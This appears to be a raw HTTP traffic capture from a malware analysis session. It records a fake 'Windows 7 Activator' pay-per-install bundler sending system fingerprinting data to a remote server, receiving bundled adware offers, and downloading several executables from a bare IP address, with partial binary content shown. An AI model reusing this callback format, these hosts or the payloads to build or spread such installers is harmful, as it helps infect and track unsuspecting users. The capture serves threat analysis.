Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Content-Length: 9386

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:52 GMT

Content-Disposition: attachment; filename="main.css"

Last-Modified: Thu, 26 Feb 2015 16:19:17 GMT

ETag: "9d7c4ddc39dddc3623e8a57e55afd079"

Accept-Ranges: bytes

Server: AmazonS3

Age: 83358

X-Cache: Hit from cloudfront

Via: 1.1 5fc330730b7a22af558c1164ae769565.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BxxMUHJWhpUXLwyEKiJHa5m6mu4noMnJqNiBMmhYC3a6hTe4cwQjHw==

body {.. font-size:10px;. background:#eaeaea;. font-family: Arial;. margin: 0;. padding: 0;. color:#000000; .}..div, span, textarea {. cursor: default;.}..a, a span, a div {. cursor: pointer;.}../* whole screen styles */..ami-wrapper{. background : none no-repeat scroll 0 0 #eaeaea;. border:2px solid #989898; .}../* moddle element */..#ami-body.{..position: relative;. padding-left:27;. padding-right:27;.}...bottom-line{. background-color:#5cafd4;. height:45px;. width:100%;.}..table {. border-collapse: collapse;. margin: 0 ;. padding: 0;. font-size:10px;.}..textarea {..font-size:10px;..font-family: verdana;..width:98%;..padding: 5px;.}...textarea1{. background:#ffffff;. color:#000000;. height:100%;. width:100%;. overflow-x:hidden;.}..td{. padding: 0px;.}../* footer and footer buttons */...bottom-holder{. background-image:url('footer_img.png');. background-repeat:repeat-x;. height:59px;. position:absolute;. bottom:0px;. padding-left:20px;. padding-right:20px;.}...#btnNext{. background: url('next.gif') no-repeat;.}.#btnCancel{. background: url('cancel.gif') no-repeat;.}../* Use for cancle with no popup !!! */.#btnBack{. background: url('cancel1.gif') no-repeat;.}..#btnDecline{. background: url('decline.gif') no-repeat;.}..#btnAccept{. background: url('accept.gif') no-repeat;.}..#btnSkip{. background: url('skip.gif') no-repeat;.}...btn-finish-install{. background: url('finish.gif') no-r

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/footer_img.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 937

Connection: keep-alive

Date: Fri, 28 Aug 2015 03:16:53 GMT

Content-Disposition: attachment; filename="footer_img.png"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "e2bf2d203887961a2e93c1a68b7e7534"

Accept-Ranges: bytes

Server: AmazonS3

Age: 69098

X-Cache: Hit from cloudfront

Via: 1.1 5fc330730b7a22af558c1164ae769565.cloudfront.net (CloudFront)

X-Amz-Cf-Id: l2AeyljwLnfuQqmZRo_NQ4co262AmxoWEzfJZ2u2Cp5ZrK-4hoJTmg==

.PNG........IHDR.......;........B....tEXtSoftware.Adobe ImageReadyq.e<...!iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:E57C9F23EFB911E397DFE4EB8E55B910" xmpMM:DocumentID="xmp.did:E57C9F24EFB911E397DFE4EB8E55B910"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E57C9F21EFB911E397DFE4EB8E55B910" stRef:documentID="xmp.did:E57C9F22EFB911E397DFE4EB8E55B910"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx.b.y........g...?.(....0.....N.]l....IEND.B`.....

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1262

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:54 GMT

Content-Disposition: attachment; filename="cancel.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "d92b8cccf7616d9e5f6162571dd3e1e8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 83357

X-Cache: Hit from cloudfront

Via: 1.1 5fc330730b7a22af558c1164ae769565.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eUQfD6Acuxo6dFbzOrkbPfixA4QDEc4oGEDxIupTTKzmPOwGJUmTsw==

GIF89ae......................................................................................................................................................................................................................................................................................................................................................................................................!.....u.,....e........ot.............o..nC.............GCn.t.D.............BC.EF.............EEJ.HHG.............H.J............*..IK.MNM......8.....H..H.`....*....!'O"J.H..D%....P.... C..8......D!.....0c.......4s.....O.....I.h.(S.QY.....K....c...Vg,.......f. 0.k... \..b.. L..@.J...)U.U.b......W.0......t..a.....7..7..."pt.<`...}/..M.o.,...^......_...`...MT.8p.........Z..../.^...j:Y.K.N.zt,,.`...;.)&.h.>....X4.p...z...D. ............................... }.J0...&x...f...-......AH.]pa..(..".A....=.(....p....X#...0#.5. ..A....H&ib.......PF).._x.E...`..^.0...n9..[z........".P..P.@..t..$...!..|....b..F.. ....$.....`....!g.6.j..?..A.[....?t............!d..........v....%.A.c.P@. .0..c.P..cT0@. .. ...P.... ......!gt......m...k..........n.f.AH...k...............p..../.......7.....!...Wl.K..c....C..!l.,..$..r.(....,.<r.".!..n.l..8....<....=.-..o....t....L7...s....;....

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/skip.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 1740

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:55 GMT

Content-Disposition: attachment; filename="skip.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "7c96892b1948a6e97494e2d58cafe1c0"

Accept-Ranges: bytes

Server: AmazonS3

Age: 79737

X-Cache: Hit from cloudfront

Via: 1.1 5fc330730b7a22af558c1164ae769565.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Z5jidSSXeEZsnBhwuEvbPqzOGPvIgf16D93fs20iWQ0XPNZYJLMiEA==

GIF89ae......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.......,....e........|"E......*\......?...)....3j...... Cb.....R...\.....0c..I.&K8q........@...J....>...C...:P.J.J.*U.X.:......`...C....h....'...d..= W...x...Cp..=....L..`>}...Q...>b.....N.3~.k..y..>....M.....I...CB..1R......?....1.P............. _.\. :.f..$...@*@..$h. @y....$(P.A..._..O .....O.>.Ct..Idh. B.\.. ..........f.!D.0..D..Uha}..B.!..... .(.....H...Q."..b..! ...[..../4...Vxq.......D.9"!.....L6...O&....L........C... ......ta...$ D./ ...p:YH...h..x.......F....."/<A...0.. .x........J..D......z2B."..*....jj#.(.F.d8....|...#......t..!.$..........[*$.5..#.6....F.l#.0..#%....p...".........!.4.I...R.....m$.A............".T..%.pPC./.@....P.".......!.%......v.1...4.$$.l..(.lr%}HQ..f@.. .`..$..`...l0.'6T@..?.........*cB.%PG-..TW

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/next.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2157

Connection: keep-alive

Date: Fri, 11 Dec 2015 03:54:38 GMT

Content-Disposition: attachment; filename="next.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "ba2e9f310f01397a1f41cb6a7ab2e3c9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 76929

X-Cache: Hit from cloudfront

Via: 1.1 5fc330730b7a22af558c1164ae769565.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FjDc1QqPlHzmY_o-cHZIRnOE2pUKbHXpmpebuib2oxyvjrCfjKfd1A==

GIF89ae............pppC.K@.H>.H=.F=.D;.B7.>6.<4.9-.3-.2 ./*.-)./'. ...&.<>.Q..' ., .6&.26.C5.A,.7;.I<.G .*'.1'.0".*$.,,.43.<*.11.9/.8..76.?9.D5.=4.<:.C9.B9.A6.><.E:.B?.I>.G=.G;.C<.D@.I>.F@.I?.H>.GC.MB.LB.K@.IE.OK.RT.\..$..# .%!..)&..%. ".'&.-*.1!.&).1-.5)..&. -.5*.0'.,-.4*.0)..)./(.-'.-0.8,.2'.,)../.6-.4,.1 .1 .1)..0.7-.2,.23.;-.2*./3.9/.42.90.60.50.7..3..5-.24.;1.70.55.<4.;..48.?7.>6.=5.<4.:2.78.?6.=<.B:.A9.@8.?2.7-.3:.A8.?7.=;.B8.><.B<.C;.B;.@7.=@.H>.D>.D=.D:.A>.D:.?C.KC.IC.J8.=D.L?.F3.8?.F<.AE.JD.KF.LB.HA.FD.HN.TK.PP.TX.]a.fe.jn.rx.|~............................................$.('. %.)4.9).,).-*.. .-). .. .-*.--.10.41.5/.22.44.86.:C.HG.IH.L_.b.............................................'.(*.*(.)-../.0-.->.>C.E........................,. .&..................uuu...!.......,....e..........'......*\.........'.....f...i... C...i...Az...qZ.O"Ej...Z..0c....Z...4..8.....|.X.....P..X:5.U.U.j.....v3...Q.......].....p.....F...FM.R....1r..a........A.D.....NL........2...J.[T:p.....H.^....G...IQ..-Z{Z.&].....w....u.O<:<.....G..!pD......g...\.l\.q..'.......H..S...-....Q...lp)....D.......h......>...E..p...i@a!....D..0...\4..<i4..#..XH$...b .0...S.T.!8....<........8...G.f... .."K)S..M l.Q.,....>..RJ.9.QG.9..G..h...;6QP.p.)..t..G..h..?.X.'7V..J<....8....>.$A.>..R.?.."..p.!D ~..G...b...h.B....AA0........ .,......#...~ D<.."H ....,..B.<....8..r."....7.Xc...|.K(#(..................nD.D ....8.(aK>.............

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/finish.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2157

Connection: keep-alive

Date: Wed, 27 Jan 2016 07:09:56 GMT

Content-Disposition: attachment; filename="finish.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:16 GMT

ETag: "ba2e9f310f01397a1f41cb6a7ab2e3c9"

Accept-Ranges: bytes

Server: AmazonS3

Age: 83446

X-Cache: Hit from cloudfront

Via: 1.1 5fc330730b7a22af558c1164ae769565.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CUVdcVVBYr7rzSG7DzS3LJIeeuh0LGgaXGFUVN25LfHVSJGoSS7BIw==

GIF89ae............pppC.K@.H>.H=.F=.D;.B7.>6.<4.9-.3-.2 ./*.-)./'. ...&.<>.Q..' ., .6&.26.C5.A,.7;.I<.G .*'.1'.0".*$.,,.43.<*.11.9/.8..76.?9.D5.=4.<:.C9.B9.A6.><.E:.B?.I>.G=.G;.C<.D@.I>.F@.I?.H>.GC.MB.LB.K@.IE.OK.RT.\..$..# .%!..)&..%. ".'&.-*.1!.&).1-.5)..&. -.5*.0'.,-.4*.0)..)./(.-'.-0.8,.2'.,)../.6-.4,.1 .1 .1)..0.7-.2,.23.;-.2*./3.9/.42.90.60.50.7..3..5-.24.;1.70.55.<4.;..48.?7.>6.=5.<4.:2.78.?6.=<.B:.A9.@8.?2.7-.3:.A8.?7.=;.B8.><.B<.C;.B;.@7.=@.H>.D>.D=.D:.A>.D:.?C.KC.IC.J8.=D.L?.F3.8?.F<.AE.JD.KF.LB.HA.FD.HN.TK.PP.TX.]a.fe.jn.rx.|~............................................$.('. %.)4.9).,).-*.. .-). .. .-*.--.10.41.5/.22.44.86.:C.HG.IH.L_.b.............................................'.(*.*(.)-../.0-.->.>C.E........................,. .&..................uuu...!.......,....e..........'......*\.........'.....f...i... C...i...Az...qZ.O"Ej...Z..0c....Z...4..8.....|.X.....P..X:5.U.U.j.....v3...Q.......].....p.....F...FM.R....1r..a........A.D.....NL........2...J.[T:p.....H.^....G...IQ..-Z{Z.&].....w....u.O<:<.....G..!pD......g...\.l\.q..'.......H..S...-....Q...lp)....D.......h......>...E..p...i@a!....D..0...\4..<i4..#..XH$...b .0...S.T.!8....<........8...G.f... .."K)S..M l.Q.,....>..RJ.9.QG.9..G..h...;6QP.p.)..t..G..h..?.X.'7V..J<....8....>.$A.>..R.?.."..p.!D ~..G...b...h.B....AA0........ .,......#...~ D<.."H ....,..B.<....8..r."....7.Xc...|.K(#(..................nD.D ....8.(aK>.............

<<< skipped >>>

POST /index.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.secularistsarakolet.site

Content-Length: 468

Connection: Keep-Alive

Cache-Control: no-cache

Net1.1=&Net2=3.5.21022.08&Net4=4.0.30319&OSversion=NT5.1SP3&Slv=&Sysid=D6A6947B24975DB6AB9DE8B171C5FA6E&Sysid1=D6A6947B24975DB6AB9DE8B171C5FA6E&X64=N&admin=Y&browser=IEXPLORE.EXE&cavp=&chver=&cmdl=Windows 7 Activator__12215_il117959.exe&dprod=19C2FB3DEC385401F6FCF22178334A&exe=Windows 7 Activator__12215_il117959&ffver=&lang_DfltUser=0409&mac=AA==&machg=NzVlZDk1NjctYWE1OC00YzhlLWE4ZWEtM2NhZDdjNDdhYjAzAA==&name=WFA5AA==&netfs=3&ts=1459770204&ver=1.1.5.26

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Mon, 04 Apr 2016 11:43:27 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

transfer-encoding: chunked

Connection: keep-alive

2121.... ..<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">.<html>. <head>. <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> . <title>DownloadManagerModern</title>...<script type="text/javascript">... var g_notCompatibleWithUpdaterComps = ['LootFindKP'];... var g_postponedComps = ['updater', 'Paltalk', 'SHAREit', 'JinshanDuba', 'UCwebAccelerator'];...</script> . <base href="hXXp://VVV.secularistsarakolet.site:80/index.php" />.<link rel="stylesheet" type="text/css" href="hXXp://cdn2.nonstopdownload.com/9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/main.css" /> <script type="text/javascript" src="hXXp://cdn1.nonstopdownload.com/V35/amipb.js"></script>. <script type="text/javascript">. var g_amiobj = '', g_ami, g_updb = false, g_close = '1', g_additional_offer_list = '1';. var g_finish_install_button = '1';. var g_popup_install_all = '1';. var g_eula = 'VGhlIGRvd25sb2FkIGFuZCBpbnN0YWxsYXRpb24gcHJvY2VzcyBvZiB0aGlzIGZpbGUgaXMgcnVuIGJ5IEluc3RhbGxQYXRoIEluc3RhbGwgTWFuYWdlci4KQnkgY2xpY2tpbmcgdGhlICJBY2NlcHQiIG9yICJOZXh0IiBidXR0b25zIGJlbG93LCBvciBieSBjb250aW51aW5nIHRoaXMgSW5zdGFsbFBhdGggSW5zdGFsbCBNYW5hZ2VyIGluc3RhbGxhdGlvbiwgb3Igb3RoZXJ3aXNlIHVzaW5nIHRoZSBTb2Z0d2FyZSwgeW91IGFncmVlIHRvIGJlIGJvdW5kIGJ5IHRoZSB0ZXJtcyBvZiBJbnN0YWxsUGF0aCBJbnN0YWxsIE1hbmFnZXIgRVVMQSAoRW5kIFVzZXIgTGljZW5zZSBhZ3JlZW1lbnQpIGxvYWN0ZWQgYXQgaHR0cDovL3d3dy5

<<< skipped >>>

POST /finalize.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.secularistsarakolet.site

Content-Length: 302

Connection: Keep-Alive

Cache-Control: no-cache

_hdn=0&_ver=1.1.5.26&_p=1&_s=20&_cc=UA&_cid=12215&_psb=0&_cnt=8090dd4d0f36f257c0d595bbfe802c92&_instid=&_brw=ie&_fc=0&_appname=&_appimageurl=&_netfs=-31&_vert=3&r_DownloadManagerModern=0&r_NationZoom=1&r_JinshanDuba=2&r_SputnikSearch=2&DownloadManagerModern=3&NationZoom=1&JinshanDuba=1&SputnikSearch=1

HTTP/1.1 200 OK

Content-Type: text/xml

Date: Mon, 04 Apr 2016 11:43:28 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 3208

Connection: keep-alive

....<Array><page><f>1</f><fb>9</fb><pt>0</pt><cats>0</cats><updh>1</updh><wrn></wrn><comps>DownloadManagerModern</comps><short_name>DownloadManagerModern</short_name><must_show>0</must_show><bdy>CjxkaXYgaWQ9ImFtaV9kX21hbmFnZXJfYm9keSI Cgk8ZGl2IGlkPSJhbWlfbGVmdF9pbWFnZSI CQoJCTxpbWcgaWQ9ImFtaV9pbWFnZXVybCIgc3JjPSJIdG1sL2FlNzAwYjU2LWNlMzItNDdmZS05NzBmLTY1MmY0ZjFjNzgzNy8lYXBwaW1hZ2V1cmwlIiAvPgoJCTxkaXYgaWQ9ImFtaV9sZWZ0X2xpbmtzIj4JCgkJCTxhIGhyZWY9Imh0dHA6Ly93d3cuaW5zdGFsbHBhdGguY29tL3ByaXZhY3kuaHRtbCAiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IHdoaXRlIj5Qcml2YWN5IFBvbGljeTwvYT48YnIgLz4KCQkJPGEgaHJlZj0iaHR0cDovL3d3dy5pbnN0YWxscGF0aC5jb20vaW5kZXguaHRtbCIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjogd2hpdGUiPkhlbHA8L2E PGJyIC8 CgkJCTxhIGhyZWY9Imh0dHA6Ly93d3cuaW5zdGFsbHBhdGguY29tL2NvbnRhY3QtdXMuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjogd2hpdGUiPkNvbnRhY3QgdXM8L2E CgkJPC9kaXY Cgk8L2Rpdj4KCTxkaXYgaWQ9ImFtaV9ib2R5X3RleHQiPgoJCTxkaXYgaWQ9ImFtaV9kZWNfZGl2Ij4KCQkJPHNwYW4gaWQ9ImFtaV9kZWNfdGl0bGUiPlNldHVwIDxiPiVhcHBuYW1lJTwvYj48L3NwYW4 CQkKCQkJPHNwYW4gaWQ9ImFtaV9kZWNfbm90ZSI VG8gY29udGludWUgaW5zdGFsbGluZyB5b3VyIGFwcGxpY2F0aW9uLCBjbGljayBvbiB0aGUgTmV4dCBidXR0b24uPC9zcGFuPgoJCTwvZGl2PgoJCQkJCgkJPGRpdiBpZD0iZF9hbWlfRG93bmxvYWRNYW5hZ2VyTW9kZXJuIiBzdHlsZT0iaGVpZ2h0OiAxMzBweCI IAoJCTxiciAvPgoJCQk8ZGl2IGRhdGEtYWRqdXN0LWhlaWdodD0iMCIgaWQ9Im1pZGRsZSIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nOiAwcHg7IGhlaWdodDogMTEwcHg

<<< skipped >>>

GET /Html/ae700b56-ce32-47fe-970f-652f4f1c7837/%appimageurl% HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.secularistsarakolet.site

Connection: Keep-Alive

HTTP/1.1 400 Bad Request

Content-Type: text/html; charset=iso-8859-1

Date: Mon, 04 Apr 2016 11:43:28 GMT

Server: Apache/2.2.15 (Red Hat)

Content-Length: 321

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>400 Bad Request</title>.</head><body>.<h1>Bad Request</h1>.<p>Your browser sent a request that this server could not understand.<br />.</p>.<hr>.<address>Apache/2.2.15 (Red Hat) Server at VVV.secularistsarakolet.site Port 80</address>.</body></html>.HTTP/1.1 400 Bad Request..Content-Type: text/html; charset=iso-8859-1..Date: Mon, 04 Apr 2016 11:43:28 GMT..Server: Apache/2.2.15 (Red Hat)..Content-Length: 321..Connection: keep-alive..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>400 Bad Request</title>.</head><body>.<h1>Bad Request</h1>.<p>Your browser sent a request that this server could not understand.<br />.</p>.<hr>.<address>Apache/2.2.15 (Red Hat) Server at VVV.secularistsarakolet.site Port 80</address>.</body></html>...

GET /PPI/windows_7_activator.exe HTTP/1.0

User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

Accept: */*

Host: 146.185.142.87

HTTP/1.1 200 OK

Server: nginx/1.6.3

Date: Mon, 04 Apr 2016 11:43:21 GMT

Content-Type: application/octet-stream

Content-Length: 217928

Last-Modified: Wed, 30 Mar 2016 09:47:02 GMT

Connection: close

ETag: "56fba096-35348"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@.................................*........................................t.......p..p6..........h<...............................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...................................rsrc...p6...p...8...z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /Setup.exe HTTP/1.0

User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

Accept: */*

Host: 146.185.142.87

HTTP/1.1 200 OK

Server: nginx/1.6.3

Date: Mon, 04 Apr 2016 11:43:22 GMT

Content-Type: application/octet-stream

Content-Length: 73728

Last-Modified: Wed, 30 Mar 2016 09:50:17 GMT

Connection: close

ETag: "56fba159-12000"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p...#...#...#I..#...#"..#...#...#...#...#...#...#...#I..#...#...#...#Rich...#........................PE..L......6.....................p......C{............@..........................@..............................................H...x....0..h............................................................................................................text...$........................... ..`.rdata........... ..................@..@.data....4....... ..................@....rsrc...h....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /setup32.exe HTTP/1.0

User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

Accept: */*

Host: 146.185.142.87

HTTP/1.1 200 OK

Server: nginx/1.6.3

Date: Mon, 04 Apr 2016 11:43:22 GMT

Content-Type: application/octet-stream

Content-Length: 677888

Last-Modified: Wed, 30 Mar 2016 09:50:27 GMT

Connection: close

ETag: "56fba163-a5800"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.3.................<...j...............P....@..................................................................................@.......................`..\}......................................................$............................text...<;.......<.................. ..`.rdata.......P.......@..............@..@.data........`...R...F..............@....idata... ......."..................@....rsrc........@......................@..@.reloc..t....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................U....(SVW.E.......@.J..E.j.j.j.j..E.P....J..........}........j.....J.......=....}.2.............I......E..P`I..<....5..I.....J..........E.P.5..I.....J..........=..I....#....E.P.5..I..5..I.....J..........J.....j..P....J..........E.P.}j..P....J...............E.P.@..................U..P....J..........E.P..T..P....J...............T"..P....J..........E.P.<"..P....J...............E.P.5L`I....................E......E.P....J..E.P..L.J.......}....1....=..I........j.jdh.....5P`I...p.I.....I...........}

<<< skipped >>>

GET /9ee1efd2-b9b2-403f-8f9a-5fc856fa00a3/cancel1.gif HTTP/1.1

Accept: */*

Referer: hXXp://VVV.secularistsarakolet.site/index.php

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cdn2.nonstopdownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/gif

Content-Length: 2881

Connection: keep-alive

Date: Sun, 09 Aug 2015 07:24:37 GMT

Content-Disposition: attachment; filename="cancel1.gif"

Last-Modified: Thu, 26 Feb 2015 16:19:15 GMT

ETag: "d9f00c86bfa3e08e905128b131229fac"

Accept-Ranges: bytes

Server: AmazonS3

Age: 73175

X-Cache: Hit from cloudfront

Via: 1.1 660d1b60b9803f57ec0ebd5664934bd8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GhI3LP4OM-hR_DKS1N5D6h_CFgVTIcYk6m6OLpWInQWuOVlT-NTlfA==

GIF89ae......@.H*.-<.AC.K=.F>.H'. ;.B,./=.E)./)..@.I=.D=.D?.GC.M>.DC.IC.K'.,@.H>.F:.A*./D.LC.M?.HB.L=.G;.A9.@:.C .-;.CuuuB.K(.)>.G)..<.C). @.I>.E...>.G,. ). &. <.E*.&%.*6.C-.3-.33.7).1&.)www(.-*. .../.54.?-.4=.B...!.().0...-.7...G.I..9-.35.7?.F'.0A.O-..,.5<.B>.J ..D.I5.:..5=.GE.K/.0-.-/.2?.=,.7*. ;.B/.4 .'C.I..79.B&.2 .,<.>".*-.0?.C-.-8.>-.&'.12.4:.AC.B1.7-.4..$'. 3.8Q.\<.A<.G4.9 .05.<C.F6.;;.I@.I".%;.B>.Q*.-0.5&.<9.?'.-#.) .6:.A ./..31.57.>4.96.>0.76.<&.)2.78.?-.2-.3ppp..................................................................................................................................................................................................................................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:5653313B52CD11E48302D8AFAF09E831" xmpMM:DocumentID="xmp.did:5653313C52CD11E48302D8AFAF09E831"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5653313952CD11E48302D8AFAF

<<< skipped >>>

